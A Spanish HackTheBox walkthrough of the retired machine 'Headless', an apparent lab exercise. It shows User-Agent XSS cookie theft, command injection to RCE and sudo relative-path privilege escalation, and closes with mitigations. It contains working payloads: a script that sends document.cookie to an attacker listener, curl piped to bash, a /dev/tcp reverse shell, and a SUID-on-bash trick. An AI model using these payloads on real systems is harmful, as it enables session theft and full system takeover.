HackTheBox / máquina retirada
Headless
XSS reflejado en la cabecera User-Agent para robar la cookie de sesión del administrador, command injection en el panel de admin para RCE, y escalada a root abusando de un script sudo que invoca otro por ruta relativa.
- SO
- Linux
- dificultad
- Easy
- puertos
- —
- publicado
- flask
- xss
- cookie-theft
- command-injection
- sudo
- path-abuse
Resumen
Máquina Linux de dificultad easy centrada en seguridad web. La cadena completa:
- XSS reflejado en la cabecera
User-Agent, renderizada en el panel interno del administrador. - Robo de cookie de sesión del admin (
document.cookie, sin flagHttpOnly). - Command injection en el formulario del dashboard de administrador → RCE.
- Privesc a root vía un binario
sudoque ejecuta un script por ruta relativa.
Reconocimiento
Escaneo de puertos
nmap -sC -sV -p- --min-rate 5000 10.129.85.97
Dos puertos abiertos:
| Puerto | Servicio | Detalle |
|---|---|---|
| 22/tcp | SSH | OpenSSH |
| 5000/tcp | HTTP | Werkzeug httpd 2.2.2 (Python 3.11.2) |
La cookie firmada
Al navegar la web (/support), el navegador recibe una cookie con formato característico de Flask:
is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs
Decodificando la primera parte:
echo 'InVzZXIi' | base64 -d
# "user"
Es un valor JSON ("user") seguido de una firma HMAC. Cambiar "user" por "admin" no sirve: el servidor recalcula la firma con una secret key que no conocemos, así que una cookie manipulada se rechaza. No se puede forjar sin la clave → hay que robar una cookie ya firmada.
Foothold
XSS en el User-Agent
El formulario de /support detecta caracteres sospechosos en el cuerpo y responde con un “Hacking Attempt Detected”, incluyendo este aviso:
a report with your browser information has been sent to the administrators for investigation.
La “browser information” es la cabecera User-Agent, que un administrador revisa en un panel interno. Como ese valor lo controlamos por completo y se renderiza sin sanitizar, tenemos un XSS almacenado/reflejado en el contexto del admin.
Confirmación con un listener propio:
python3 -m http.server 8000
Petición a /support con el User-Agent modificado:
User-Agent: <img src="http://10.10.14.52:8000/xss_test">
A los pocos segundos, el bot del admin abre el report y el navegador carga la “imagen”:
10.129.85.97 - - "GET /xss_test HTTP/1.1" 404 -
XSS confirmado: ejecución de contenido en el navegador del administrador.
Robo de la cookie de admin
La cookie no tiene flag HttpOnly (verificado en DevTools → Storage → Cookies), así que document.cookie puede leerla. Payload en el User-Agent:
<script>new Image().src="http://10.10.14.52:8000/?c="+document.cookie;</script>
El navegador del admin entrega su propia cookie firmada:
GET /?c=is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0
echo 'ImFkbWluIg' | base64 -d
# "admin"
Acceso al dashboard
Sustituyendo la cookie por la del admin se accede a una ruta protegida descubierta por fuzzing:
GET /dashboard
Cookie: is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0
El panel (“Administrator Dashboard”) ofrece un “Generate a website health report” con un campo de fecha.
Command injection → RCE
El “health report” ejecuta comandos del sistema con la fecha como input, sin sanitizar. Encadenando con ;:
date=2023-09-15; curl http://10.10.14.52:8000/rce
(url-encoded en el envío). El callback aparece en el listener → RCE confirmado.
Para una shell interactiva, se sirve un shell.sh y se ejecuta desde el pipe:
# shell.sh
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.52/4444 0>&1
date=2023-09-15; curl http://10.10.14.52:8000/shell.sh | bash
nc -lvnp 4444
# conexión entrante como usuario dvir
user.txt es legible por dvir.
Escalada de privilegios
Enumeración sudo
sudo -l
User dvir may run the following commands on headless:
(ALL) NOPASSWD: /usr/bin/syscheck
syscheck es un script custom legible:
cat /usr/bin/syscheck
Todas las utilidades se invocan con ruta absoluta (/usr/bin/find, /usr/bin/df…), menos una línea al final:
if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
/usr/bin/echo "Database service is not running. Starting it..."
./initdb.sh 2>/dev/null
fi
Abuso de ruta relativa
./initdb.sh se ejecuta como root (el script corre vía sudo) y desde el directorio de trabajo actual, no desde una ruta fija. Controlamos ese fichero:
cd ~
cat > initdb.sh <<'EOF'
#!/bin/bash
chmod +s /bin/bash
EOF
chmod +x initdb.sh
sudo /usr/bin/syscheck
El script pone el bit SUID en /bin/bash con permisos de root:
ls -la /bin/bash
# -rwsr-xr-x 1 root root ... /bin/bash
/bin/bash -p
id
# euid=0(root)
root.txt capturada. ✅
Lecciones y mitigaciones
| Eslabón | Mitigación |
|---|---|
| XSS en User-Agent | Sanitizar/escapar toda entrada reflejada en el panel de admin |
| Robo de cookie | Flag HttpOnly (y SameSite) en la cookie de sesión |
| Command injection | No pasar input de usuario a la shell; usar APIs/listas de argumentos |
| Ruta relativa en script root | Invocar initdb.sh por ruta absoluta — un solo cambio lo blinda |